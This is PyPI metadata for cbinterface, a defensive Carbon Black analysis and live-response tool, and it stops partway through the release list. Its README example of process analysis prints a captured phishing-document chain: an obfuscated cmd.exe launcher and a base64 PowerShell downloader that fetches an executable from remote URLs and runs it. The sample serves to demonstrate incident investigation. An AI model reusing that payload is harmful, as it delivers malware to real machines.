{ "info": { "author": "Sean McFeely", "author_email": "mcfeelynaes@gmail.com", "bugtrack_url": null, "classifiers": [ "Development Status :: 4 - Beta", "Intended Audience :: Developers", "Intended Audience :: Information Technology", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.0", "Programming Language :: Python :: 3.1", "Programming Language :: Python :: 3.2", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3 :: Only" ], "description": "# cbinterface\n\ncbinterface is a command line tool for interfacing with multiple carbonblack environments to perform analysis and live response functions.\n\n## Demo\n\nThe following demo shows how cbinterface can be used to query multiple environments, investigate process trees, isolate sensors, and perform live response collections and remediations on sensors.\n\n[![Cbinterface Demo: RAT scenario](https://i.ytimg.com/vi/hQ14nZWq384/hqdefault.jpg)](https://youtu.be/hQ14nZWq384)\n\n## Some Basic Examples\n\n### query\n\nYou can preform any query via the command line that you could perform via the CbResponse GUI. Search for a md5:\n\n```\n$ cbinterface query md5:04A34D3737B01636C5BD8C4FFB542896\n\nSearching acme environment..\n\n3 processes returned by the query\n\n -------------------------\n Process GUID: 0000034c-0000-1180-01d3-06eb7d86e9fb\n Process Name: .exe\n Process PID: 4480\n Command Line: \"D:\\ .exe\"\n Parent Name: explorer.exe\n Hostname: win7-blahHost\n Start Time: 2017-07-27 15:17:42.009000\n GUI Link: https://cbserver.prod.acmecorp.com/#analyze/0000034c-0000-1180-01d3-06eb7d86e9fb/\n\n -------------------------\n Process GUID: 0000034c-0000-2120-01d3-06eb5dd25140\n Process Name: dw20.exe\n Process PID: 8480\n Command Line: dw20.exe -x -s 664\n Parent Name: .exe\n Hostname: win7-blahHost\n Start Time: 2017-07-27 15:16:51.325000\n GUI Link: https://cbserver.prod.acmecorp.com/#analyze/0000034c-0000-2120-01d3-06eb5dd25140/1501168673628\n\n -------------------------\n Process GUID: 0000034c-0000-1614-01d3-06eb5f812a21\n Process Name: .exe\n Process PID: 5652\n Command Line: \"D:\\ .exe\"\n Parent Name: explorer.exe\n Hostname: win7-blahHost\n Start Time: 2017-07-27 15:16:48.502000\n GUI Link: https://cbserver.prod.acmecorp.com/#analyze/0000034c-0000-1614-01d3-06eb5f812a21/1501168673628\n\nSearching othercomp environment..\n\n0 process segments returned by the query,\n```\n\nQuery for a keyword on the command line, starting after a certain time and specifying a specific environment:\n\n```\n$ cbinterface -e sandbox query 'cmdline:Invoice*' -s '2018-08-21 07:00:00'\n\n -------------------------\n Process GUID: 0000001c-0000-0fd0-01d4-3943033fdf40\n Process Name: winword.exe\n Process PID: 4048\n Process MD5: bff948019509b5bf3f9b6ceed2e2b8e3\n Command Line: \"C:\\Program Files\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"C:\\Invoice Confirmation 0O59758.doc\"\n Parent Name: outlook.exe\n Hostname: win-pc-balh\n Username: SANDCORP\\sandman\n Start Time: 2018-08-21 07:35:08.069000-0400\n GUI Link: https://sandbox.local/#analyze/0000001c-0000-0fd0-01d4-3943033fdf40/1534853413801\n\n```\n\n### Process analysis\n\nWalk a process, and print out any filemod events in the process tree:\n\n```\n$ cbinterface proc 0000001c-0000-0fd0-01d4-3943033fdf40 -w -fm\n\nUsing acme environment ..\n\n \"C:\\Program Files\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"C:\\Invoice Confirmation 0O59758.doc\" (PID=4048)\n \"C:\\Windows\\System32\\cmd.exe\" /v^:/r \" S^ET^ ^0^K^J^=p^ower[h^ell^ ^-e^ ^JA2C^A^FQA^T^w^A^9^A^G^4AZQ^2^3AC0Ab^w2@AG^o^A^ZQ2j^A^HQA+^A^2OA^G,AdA^A)^AFc^A^Z^Q2^@A/^M^Ab^A^2^p^AG^,A^b^g20AD[A^JA^2^:A^F]Ab^A^A^9^ACc^A^a^A2^0^AHQ^AcAA^6ACuA^L^w^2qA^H^,^Ac^w20^A^G^,^Ad^g2v^AGw^Adg^2lAHcA^a^Q^20AGg^A^Zw^2y^AG/A]^w^2^l^AC^4^A]w^2vAG^0^A^L^w^2^P^A/^u^Acw2w^A/AAaA^20A^HQAcAA^6AC^uALw^2^%A^Gu^A^ZA2h^AC^4^AbQ2h^AG[^Ae^Q2h^A^Go^AcA^2^lAH^+Aa^Q2zAG^k^ALg2j^AG^uAb^Q^AvAG^4^Aag2^AA^G^gA^dA^20^AHAAOgAv^AC^u^A^bQ^2^h^AG^kA^b^A^A)^A^D/A^M^g2n^A^H^+^A^]Q^2@AC^4A^]w2vAG0A^Lw2J^A/AAa^A2^0^A&QAc^A^A6AC^u^ALw^2^%^AH^,Aa^g2lAH^+^AcA^2^yA^G^u^A^ZA2^1A^G^MAd^A^2p^AH^]A]^Q^2^y^A^G/A^ZA2^pA^GuAL^g^2^q^A^G/^A]^w2x^A^H^,AZ^Q^2^[^AGkA^b^g2^lA^Ho^Ab^w^2^y^A^H+AaQ2^[A^G^wA^]^Q^A)^A^G^M^A^b^w^2^%ACu^AV^w^2^A^A^G^gAd^A20AHAA^OgAvACuA^ZA^2^l^A^G^w^A^aQ2^%A^G/Acg^2hAC4A]^w^2vAC^4Ae^g^2h^ACu^Ad^A^A^z^Ac^A^L^g^2T^AH^A^Ab^A^2pAH^QA\\A^AnA/^A^AJ^w^ApA^D^[^AJA2pAF^]^AW^QAgA^D0^A^+^AAn^A^D^]^ANw^AzACc^AOwA^k^A^F,^AcA2^@^AD0A^JA2l^A^G^4AdgA6^A^HA^Ad^Q^2^@A^Gw^AaQ^2^jAC[^A^Jw^2cACcA\\wA^kA^G^kAV^g^2Z^AC[^AJw^A)A^G,^AeA2lACcA^O^w^2:^G^G^uAcg2l^A^G/A]^w^2oAC^g^A^JA^2IAFo^AdQAg^AGk^Ab^g^A^gACQAZg2WAG^wA^\\Q^2^7AH^Q^Ac^g2^?AH^[AJA2C^AFQA^TwA)A/^QA^bw23^A^G4A^b^A^2v^AG/AZA2^G^A^Gk^Ab^A^2l^ACgA^JA2^I^AFoA^dQ^A^[AC^A^A^JA^2V^A^HAA^]gA^p^AD^[^AS^Q^2)^AH^]^A^bw^2r^AG,^A^L^Q^2^J^AH^Q^A^Z^Q2^%^AC^AAJA^2VA^HA^A^]g^A^7^AG+Acg^2l^AG/A^a^wA7^A^H^0^A]w^2hAHQ^A]w2^o^A^H^[^A^f^Q29AC^AA^+^A^A^gAC^AA^+A^A^gACA^A+A^A^g^ACAA^+AAgACAA+^AA^gAC^AA+^AA^=& sET ^ ^F^DY^M=!0^K^J^:?^=^5!&& s^et ^ ^ ^ ^pVU^W=^!^F^D^Y^M:^2^=B^!&& sE^T ^ ^ ^lF^k^f=!^pVU^W^:^]^=^Y^!&s^et ^ ^y4=^!^lF^k^f^:^u^=^8^!&&s^eT ^ ^ ^ ^d^5^6=^!^y4^:^:^=m!&& s^e^T ^ l8^k^U=!^d^5^6:^I=^X^!&&s^e^T ^ ^ ^Qi=^!^l^8^k^U^:^@^=i!&& Se^T ^ ^H^a=^!^Q^i:[^=s^!&& S^e^t ^2j^p=^!^H^a^:)=^u^!& s^e^T ^ ^3^G5=^!^2j^p^:^\\^=^K^!&& S^e^t ^ W^b=^!^3^G^5:/^=^E^!&&s^E^T W^d^P=^!^W^b^:^,=U^!&& S^e^t ^ ^f^0=!W^d^P^:+^=I^!&& S^e^T ^ G^b^98=!^f^0^:%=t^!& C^AL^l %G^b^98% \" (PID=1736)\n powershell -e JABCAFQATwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABmAFYAbAA9ACcAaAB0AHQAcAA6AC8ALwBqAHUAcwB0AGUAdgBvAGwAdgBlAHcAaQB0AGgAZwByAGEAYw4BlAC4AYwBvAG0ALwBPAE8AcwBwAEAAaAB0AHQAcAA6AC8ALwBtAG8AZABhAC4AbQBhAGsAeQBhAGoAcABlAHIAaQBzAGkALgBjAG8AbQAvAG4AagBBAGgAdAB0AHAAOgAvAC8AbQBhAGkAbAAuADEAMgBnAHIAYQBiAC4AYwBvAG0ALwBJAEAAaAB0AHQAcAA6AC8ALwBtAHUAagBlAHIAcAByrAG8AZAB1AGMAdABpAHYAYQByAGEAZABpAG8ALgBqAGEAYwBxAHUAZQBsAGkAbgBlAHoAbwByAHIAaQBsAGwAYQAuAGMAbwBtAC8AVwBAAGgAdAB0AHAAOgAvAC8AZABlAGwAaQBtGEAcgBhAC4AYwBvAC4AegBhAC8AdAAzACcALgBTAHAAbABpAHQAKAAnAEAAJwApADsCATSareCOOLpAFYAWQAgAD0AIAAnADYANwAzACcAOwAkAFUAcABiAD0AJABlAG4AdgA6AHAAdQBiAGwAaQBjACsAJwBcACcAKwAkAGkAVgBZACsAJwAuAGUAeABlACcAOwBmAG8AcgBlAGEAYwBoACgAJABXAFoAdQAgAGkAbgAgACQAZgBWAGwAKQB7AHQAcgB5AHsAJABCAFQATwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABXAFoAdQAsACAAJABVAHAAYgApADsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABVAHAAYgA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsAfQB9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA= (PID=2464)\n\n+ winword.exe (PID:4048) - 0000001c-0000-0fd0-01d4-3943033fdf40\n === FILEMODS ====\n 2018-08-21 07:35:11.073000-0400: FirstWrote: c:\\users\\sandman\\appdata\\local\\temp\\cvr1d81.tmp.cvr\n 2018-08-21 07:35:11.073000-0400: Deleted: c:\\users\\sandman\\appdata\\local\\temp\\cvr1d81.tmp\n 2018-08-21 07:35:11.454000-0400: FirstWrote: c:\\users\\sandman\\appdata\\roaming\\microsoft\\templates\\~$normal.dotm\n 2018-08-21 07:35:11.454000-0400: FirstWrote: c:\\analysis\\0\\bin\\~$normal.dotm.3279569956\n 2018-08-21 07:35:11.504000-0400: FirstWrote: c:\\users\\sandman\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.word\\~wrs{30bdd0a0-5905-40ad-9ed4-f1591f3866a9}.tmp\n 2018-08-21 07:35:11.504000-0400: FirstWrote: c:\\analysis\\0\\bin\\~wrs{30bdd0a0-5905-40ad-9ed4-f1591f3866a9}.tmp.1554814961\n 2018-08-21 07:35:51.694000-0400: FirstWrote: c:\\~$voice confirmation 0o59758.doc\n 2018-08-21 07:35:51.694000-0400: FirstWrote: c:\\analysis\\0\\bin\\~$voice confirmation 0o59758.doc.164820488\n 2018-08-21 07:35:52.465000-0400: FirstWrote: c:\\users\\sandman\\appdata\\roaming\\microsoft\\office\\recent\\invoice confirmation 0o59758.lnk\n 2018-08-21 07:35:52.465000-0400: FirstWrote: c:\\analysis\\0\\bin\\invoice confirmation 0o59758.lnk.1355676710\n 2018-08-21 07:35:52.476000-0400: FirstWrote: c:\\users\\sandman\\appdata\\roaming\\microsoft\\office\\recent\\index.dat\n 2018-08-21 07:35:52.556000-0400: Deleted: c:\\users\\sandman\\appdata\\roaming\\microsoft\\office\\recent\\invoice confirmation 0o59758.lnk\n 2018-08-21 07:35:52.586000-0400: FirstWrote: c:\\analysis\\0\\bin\\index.dat.3329669335\n\n+ cmd.exe (PID:1736) - 0000001c-0000-06c8-01d4-39431dd7d4b0\n === FILEMODS ====\n\n+ powershell.exe (PID:2464) - 0000001c-0000-09a0-01d4-39431e4a6fc0\n === FILEMODS ====\n 2018-08-21 07:36:05.650000-0400: FirstWrote: c:\\users\\sandman\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\gik7dvs0hbwl83m8rt5u.temp\n 2018-08-21 07:36:05.650000-0400: FirstWrote: c:\\analysis\\0\\bin\\gik7dvs0hbwl83m8rt5u.temp.3088633466\n 2018-08-21 07:36:05.650000-0400: FirstWrote: c:\\users\\sandman\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\d93f411851d7c929.customdestinations-ms\n 2018-08-21 07:36:05.650000-0400: Deleted: c:\\users\\sandman\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\gik7dvs0hbwl83m8rt5u.temp\n\n```\n\n### Live Response\n\n#### Collection\n\nCollect a registry from a host:\n\n $ cbinterface collect -r \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\badness\"\n Wed Jan 3 13:36:36 2018... starting\n Using acme environment ..\n LR session started at Wed Jan 3 13:38:30 2018\n\n HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\badness\n -------------------------\n Name: badness\n Type: REG_SZ\n Data: \"c:\\users\\sandman\\appdata\\roaming\\asdf3j\\badness.exe\"\n\n Wed Jan 3 13:38:31 2018...Done.\n\n#### Remediation\n\nRemediate an infected host:\n\n $ cat remediate.ini\n [files]\n file1=C:\\Users\\fakeuser\\Desktop\\testfile.txt\n\n [process_names]\n proc1=cmd.exe\n proc2=notepad++.exe\n\n [directories]\n directory1=C:\\Users\\fakeuser\\Desktop\\nanocore\n\n [pids]\n pid1=10856\n\n [registry_paths]\n reg1=HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\calc\n reg2=HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\hippo\n\n\n $ cbinterface remediate -f remediate.ini\n\n Mon Oct 9 16:43:58 2017... starting\n Using acme environment ..\n Remediating ..\n found: c:\\program files (x86)\\notepad++\\notepad++.exe with pid:2788\n found: c:\\windows\\system32\\cmd.exe with pid:7212\n + successfully killed pid:10856\n + successfully killed pid:2788\n + successfully killed pid:7212\n + Deleted C:\\Users\\fakeuser\\Desktop\\testfile.txt\n + Deleted HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\calc\n + Deleted HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\hippo\n + Deleted C:\\Users\\fakeuser\\Desktop\\nanocore\n Mon Oct 9 16:44:02 2017...Done.\n\n\n## Installation\n\nYou can use pip to install cbinterface. Pip will try and install cbapi if it's not already installed.\n\n```bash\npip3 install cbinterface\n```\n\n## Getting Started\n\n\nCurrently, cbiterface straps onto the default configuration files used by cbapi (see [here](https://github.com/carbonblack/cbapi-python#api-token)).\n\nIf you have multiple carbonblack environments, you should name the sections in your credentials.response configuration something meaningful. In addition, there are currently two custom fields that cbiterface looks for in the carbonblack response configuration file. First, ```envtype``` , which specifies the type of carbonblack environment. By default, cbinterface will return results for every environment in your configuration file. However, if you create a ```envtype``` variable and set its value to anything other than 'production' you will have to use the `-e` flag to acess that environment. Below is an example credentials.response file:\n\n [sandbox]\n url=https://sandbox.local\n token=abcdef0123456789abcdef\n ssl_verify=False\n envtype=sandbox\n\n [acme]\n url=https://cbserver.prod.acmecorp.com\n token=aaaaaa\n ssl_verify=True\n ignore_system_proxy=True\n envtype=production\n\n [othercomp]\n url=https://cb.othercomp.com\n token=bbbbbb\n ssl_verify=True\n envtype=production\n\n\nAlso, cbinterface will use any proxy settings defined in the environment accordly with the ``ignore_system_proxy`` variable in the credentials.response config.\n\n\n", "description_content_type": "text/markdown", "docs_url": null, "download_url": "", "downloads": { "last_day": -1, "last_month": -1, "last_week": -1 }, "home_page": "https://github.com/IntegralDefense/cbinterface", "keywords": "carbonblack", "license": "Apache-2.0", "maintainer": "", "maintainer_email": "", "name": "cbinterface", "package_url": "https://pypi.org/project/cbinterface/", "platform": "", "project_url": "https://pypi.org/project/cbinterface/", "project_urls": { "Homepage": "https://github.com/IntegralDefense/cbinterface" }, "release_url": "https://pypi.org/project/cbinterface/1.3.1/", "requires_dist": [ "cbapi (==1.4.4)" ], "requires_python": "", "summary": "command line tool for interfacing with multiple carbonblack environments to perform analysis and live response functions", "version": "1.3.1" }, "last_serial": 5416401, "releases": { "1.0.0": [ { "comment_text": "", "digests": { "md5": "39380e3b29cf842987e561294be012f5", "sha256": "69f68e0e5ecd12fe4107e105b083488e8660dc32cfdf5a7ff30dbf9f449ba75a" }, "downloads": -1, "filename": "cbinterface-1.0.0-py3-none-any.whl", "has_sig": false, "md5_digest": "39380e3b29cf842987e561294be012f5", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 34415, "upload_time": "2018-08-22T02:23:26", "url": "https://files.pythonhosted.org/packages/27/1d/98ee0f710dfc2c14acc8196c03cfec37b7a5542710040d247f96e150f8af/cbinterface-1.0.0-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "f3e1fd60409024c5369d26fb156a89b0", "sha256": "45cb5dbddb14307794ce8aaa95a72e1edd143b047712cad5b20abbdf061ae3b9" }, "downloads": -1, "filename": "cbinterface-1.0.0.tar.gz", "has_sig": false, "md5_digest": "f3e1fd60409024c5369d26fb156a89b0", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 26747, "upload_time": "2018-08-22T02:23:28", "url": "https://files.pythonhosted.org/packages/cd/27/9975f310fcaed9fcf6762a5fa6336219c4ce7da40e5e0b1894f119904ddc/cbinterface-1.0.0.tar.gz" } ], "1.0.1": [ { "comment_text": "", "digests": { "md5": "0b9cc40be65811668a6260e2c942f3e7", "sha256": "6878034521b679082293c9076818730accf3a9766118be66ae4591fb3f4d0508" }, "downloads": -1, "filename": "cbinterface-1.0.1-py3-none-any.whl", "has_sig": false, "md5_digest": "0b9cc40be65811668a6260e2c942f3e7", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 29334, "upload_time": "2018-08-30T19:28:49", "url": "https://files.pythonhosted.org/packages/fd/91/8dee45bceab7afbf09cb44351ac88d6934e316967d926a5de16f72a33fc2/cbinterface-1.0.1-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "77b0b89af3dbd07d4ff0c9748f81b278", "sha256": "17d37cd9f3dade294fa252646c459b29ed1cf95b63a5d4c8f1f9fd5394ab0b8d" }, "downloads": -1, "filename": "cbinterface-1.0.1.tar.gz", "has_sig": false, "md5_digest": "77b0b89af3dbd07d4ff0c9748f81b278", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 30937, "upload_time": "2018-08-30T19:28:51", "url": "https://files.pythonhosted.org/packages/e0/24/87e4f99fb3b82bce43822ac2d5b8b1bec7928c2dc41700c7d74620b72ec1/cbinterface-1.0.1.tar.gz" } ], "1.0.2": [ { "comment_text": "", "digests": { "md5": "d112ad1f7f2fbfd15d21f375dcbfe77a", "sha256": "077dc9fc0fce0ed7756994612408f6defdb17d62ad21f16e4354001388c28ff7" }, "downloads": -1, "filename": "cbinterface-1.0.2-py3-none-any.whl", "has_sig": false, "md5_digest": "d112ad1f7f2fbfd15d21f375dcbfe77a", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 46720, "upload_time": "2018-08-31T18:00:00", "url": "https://files.pythonhosted.org/packages/90/47/ae901693160c7155479e6254c9760eb3049985ee8791244f7c8d4c62c235/cbinterface-1.0.2-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "ad6173d169735763026a5dc863d75cf4", "sha256": "ba768f4af0c68d7720c4c55fe58f16b38ba175348717796bfb086ff4716ad737" }, "downloads": -1, "filename": "cbinterface-1.0.2.tar.gz", "has_sig": false, "md5_digest": "ad6173d169735763026a5dc863d75cf4", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 31204, "upload_time": "2018-08-31T18:00:02", "url": "https://files.pythonhosted.org/packages/d8/0f/ccae6569c07d704eddcf500e0d522b7aee59216578083a69376518aa0cd9/cbinterface-1.0.2.tar.gz" } ], "1.0.3": [ { "comment_text": "", "digests": { "md5": "24353b5e5cd3dac4bab90fc1f57ba68e", "sha256": "8bff5eadb554c283795179ee75eae17daa26d4fbe05eaece7c8bb99de9d991aa" }, "downloads": -1, "filename": "cbinterface-1.0.3-py3-none-any.whl", "has_sig": false, "md5_digest": "24353b5e5cd3dac4bab90fc1f57ba68e", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 46715, "upload_time": "2018-08-31T18:34:34", "url": "https://files.pythonhosted.org/packages/07/d6/da24becf567ddc813156b2ce13f2b53d3f2268071d777f1502bfed34ffda/cbinterface-1.0.3-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "884143e2cda2091619eb232a78c413a2", "sha256": "d2cf49e60abcaeb6c7bcb0b20844b928537a7b1dcd5ede453db44a1acd92baff" }, "downloads": -1, "filename": "cbinterface-1.0.3.tar.gz", "has_sig": false, "md5_digest": "884143e2cda2091619eb232a78c413a2", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 31204, "upload_time": "2018-08-31T18:34:36", "url": "https://files.pythonhosted.org/packages/34/69/a69a7778621a00e9b08884ad1b6350661fdd4be41b8074d398dae2d8cb7b/cbinterface-1.0.3.tar.gz" } ], "1.1.0": [ { "comment_text": "", "digests": { "md5": "0c7d5399d794175fca63b32f43bab12d", "sha256": "5469cb82999e41e58b3fd52affc96eb45c864b3c878f35b8ccece42135528f91" }, "downloads": -1, "filename": "cbinterface-1.1.0-py3-none-any.whl", "has_sig": false, "md5_digest": "0c7d5399d794175fca63b32f43bab12d", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 50031, "upload_time": "2018-10-06T21:22:32", "url": "https://files.pythonhosted.org/packages/29/43/581c721ee74c9d3d0aa86e539d9c7ddcb84bac6571c0c2e42c84d46dfd66/cbinterface-1.1.0-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "456c1d8ec5968b8c121c9e8d28c211ab", "sha256": "f42ced363a6a13b7d6a484f71426830c3721f5988185d1951eea33ba780e038a" }, "downloads": -1, "filename": "cbinterface-1.1.0.tar.gz", "has_sig": false, "md5_digest": "456c1d8ec5968b8c121c9e8d28c211ab", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 42746, "upload_time": "2018-10-06T21:22:34", "url": "https://files.pythonhosted.org/packages/be/de/2f01d8ba4c71162e5949e9e3c1ef56f95941eb6b439cc3b78012eb0e187a/cbinterface-1.1.0.tar.gz" } ], "1.1.1": [ { "comment_text": "", "digests": { "md5": "8f95130bc8a6e98c4e669e985070381d", "sha256": "7892cfa6c52ba3fb6199362427802f0f221f3d3f15c8536ccdc41cc614d18430" }, "downloads": -1, "filename": "cbinterface-1.1.1-py3-none-any.whl", "has_sig": false, "md5_digest": "8f95130bc8a6e98c4e669e985070381d", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 307963, "upload_time": "2018-10-06T21:42:03", "url": "https://files.pythonhosted.org/packages/c2/63/67548941efedbb097ed7afa8d6c173366666c6063906cce59c613cec6abd/cbinterface-1.1.1-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "25846522bce3266650a3def250afc37b", "sha256": "5a3243b2cb5b315175a41eed8cdb23fdd02e6d80f825dd50c9934b0b65bd13e6" }, "downloads": -1, "filename": "cbinterface-1.1.1.tar.gz", "has_sig": false, "md5_digest": "25846522bce3266650a3def250afc37b", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 301911, "upload_time": "2018-10-06T21:42:04", "url": "https://files.pythonhosted.org/packages/29/c3/429d3fe35a1f36acffea0b8e96e6d5adfd54b4177094dd19d3fe0a997235/cbinterface-1.1.1.tar.gz" } ], "1.1.2": [ { "comment_text": "", "digests": { "md5": "8b2063b5310ee67196ec7b22ec729cf4", "sha256": "faffea5002f4b6ec6912d343df7c5300b50d090552cd93b2b038460e27279440" }, "downloads": -1, "filename": "cbinterface-1.1.2-py3-none-any.whl", "has_sig": false, "md5_digest": "8b2063b5310ee67196ec7b22ec729cf4", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 307987, "upload_time": "2018-10-09T02:18:57", "url": "https://files.pythonhosted.org/packages/b0/c9/ef00b9dcfd80eb961453d54c7993b10201610158abc9b3c8bb0923bbe730/cbinterface-1.1.2-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "1f22377651f5c029ceace29f8a3d0452", "sha256": "0c41a82dbe754a3e2eb19a99ce8e33e81fe11e121d820a7c93cd08297e83d4b7" }, "downloads": -1, "filename": "cbinterface-1.1.2.tar.gz", "has_sig": false, "md5_digest": "1f22377651f5c029ceace29f8a3d0452", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 301931, "upload_time": "2018-10-09T02:18:59", "url": "https://files.pythonhosted.org/packages/c5/5e/52ad57c00cefdbcdbc9a901fff8c51caf4ad79edabd63f7f63f6469541b6/cbinterface-1.1.2.tar.gz" } ], "1.1.3": [ { "comment_text": "", "digests": { "md5": "3954d6aade7c8bf1a72cc5f311e353b9", "sha256": "6cc93d4fc6e86dd50f60df8fc4b3f981f1d3b5d98d845422819c67a6350f0d7e" }, "downloads": -1, "filename": "cbinterface-1.1.3-py3-none-any.whl", "has_sig": false, "md5_digest": "3954d6aade7c8bf1a72cc5f311e353b9", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 308356, "upload_time": "2018-10-17T15:54:04", "url": "https://files.pythonhosted.org/packages/b0/ae/43c2e42c6303cf2ad24e6d516c8e9d83de6716d76277bb159f27a833ee94/cbinterface-1.1.3-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "8f29ac83f4bdbc9d87ff4ded9b118a7e", "sha256": "5b6a424f9e52637b947390c4ea3c654a58b4659cef5f377c3338ec3c6e488242" }, "downloads": -1, "filename": "cbinterface-1.1.3.tar.gz", "has_sig": false, "md5_digest": "8f29ac83f4bdbc9d87ff4ded9b118a7e", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 302349, "upload_time": "2018-10-17T15:54:06", "url": "https://files.pythonhosted.org/packages/4f/48/794eafd075991729329f263b4178f93c6f5e1d6e78839592653743c4bc76/cbinterface-1.1.3.tar.gz" } ], "1.1.4": [ { "comment_text": "", "digests": { "md5": "165e7997addc6124a027e3a5680aaf2d", "sha256": "13806c6c5ef4c353838098e6da33f19a04fc6e27a50cd07f053b284ca786c34d" }, "downloads": -1, "filename": "cbinterface-1.1.4-py3-none-any.whl", "has_sig": false, "md5_digest": "165e7997addc6124a027e3a5680aaf2d", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 303237, "upload_time": "2018-10-25T19:19:31", "url": "https://files.pythonhosted.org/packages/ad/76/a1e10f71660e9b0720facaaedc1c80fa0af554559691ad5c1e185fecc6c5/cbinterface-1.1.4-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "3d66c27d4f9b1f3f8a39f5d4fda512f9", "sha256": "472ee95f373f4131c44ca6f93303980570a207cd238f02145d5708edce73bce8" }, "downloads": -1, "filename": "cbinterface-1.1.4.tar.gz", "has_sig": false, "md5_digest": "3d66c27d4f9b1f3f8a39f5d4fda512f9", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 302754, "upload_time": "2018-10-25T19:19:33", "url": "https://files.pythonhosted.org/packages/54/89/fd7cf8660a79a0402565faafc92cc18467865c33dfc13e458497bd2b1aca/cbinterface-1.1.4.tar.gz" } ], "1.1.5": [ { "comment_text": "", "digests": { "md5": "b98794fa09f1c72fbcb9a32f599d8612", "sha256": "c07c1705fa51a6976362c06d84f581e013aaab08078887e9f770149eeacd61d3" }, "downloads": -1, "filename": "cbinterface-1.1.5-py3-none-any.whl", "has_sig": false, "md5_digest": "b98794fa09f1c72fbcb9a32f599d8612", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 303299, "upload_time": "2018-11-12T18:46:31", "url": "https://files.pythonhosted.org/packages/28/a1/82b047a70c8eac66f0874941abb4b862405a193532e871f637edf290a682/cbinterface-1.1.5-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "f1c2cd2bf84d702a7ea46162f440f9e1", "sha256": "8c2edb01647d63f3c1d67d990a2b6980ca54ba43cb39f5a8de8558856f9e8e5c" }, "downloads": -1, "filename": "cbinterface-1.1.5.tar.gz", "has_sig": false, "md5_digest": "f1c2cd2bf84d702a7ea46162f440f9e1", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 302796, "upload_time": "2018-11-12T18:46:33", "url": "https://files.pythonhosted.org/packages/9c/0f/d0d89150aa6e841faf5e27fe3bb072d57e53b0eb85c0a171a837219e2538/cbinterface-1.1.5.tar.gz" } ], "1.1.6": [ { "comment_text": "", "digests": { "md5": "789331e72e8807042c02116b1d994edb", "sha256": "1f500d2640f67b079ceb1eba423cfdb84d7a16b6878a50844945b9bfc66b8875" }, "downloads": -1, "filename": "cbinterface-1.1.6-py3-none-any.whl", "has_sig": false, "md5_digest": "789331e72e8807042c02116b1d994edb", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 303307, "upload_time": "2018-11-12T19:21:30", "url": "https://files.pythonhosted.org/packages/3b/c1/025751e9a1ad1006f79324335c57d126ca8ff4b59d3b9c953c076733bd2e/cbinterface-1.1.6-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "3a82dc26edefd15e0623c6dd42721245", "sha256": "7b1560fa6b92a501347ff7e976c921b26db9bbed271c04b6e592c2b3d00ef91d" }, "downloads": -1, "filename": "cbinterface-1.1.6.tar.gz", "has_sig": false, "md5_digest": "3a82dc26edefd15e0623c6dd42721245", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 302803, "upload_time": "2018-11-12T19:21:32", "url": "https://files.pythonhosted.org/packages/84/ed/c4994d85a9169c4403a1c0f7b71441ec124c603d5ed58d9814cfdb39acd5/cbinterface-1.1.6.tar.gz" } ], "1.1.7": [ { "comment_text": "", "digests": { "md5": "fb975a323ed9cabb1e877d367d07fdc5", "sha256": "c5746f8dba198ff3942d2e8b196ed77074fc31516eebcd63f3270c37835f2cbd" }, "downloads": -1, "filename": "cbinterface-1.1.7-py3-none-any.whl", "has_sig": false, "md5_digest": "fb975a323ed9cabb1e877d367d07fdc5", "packagetype": 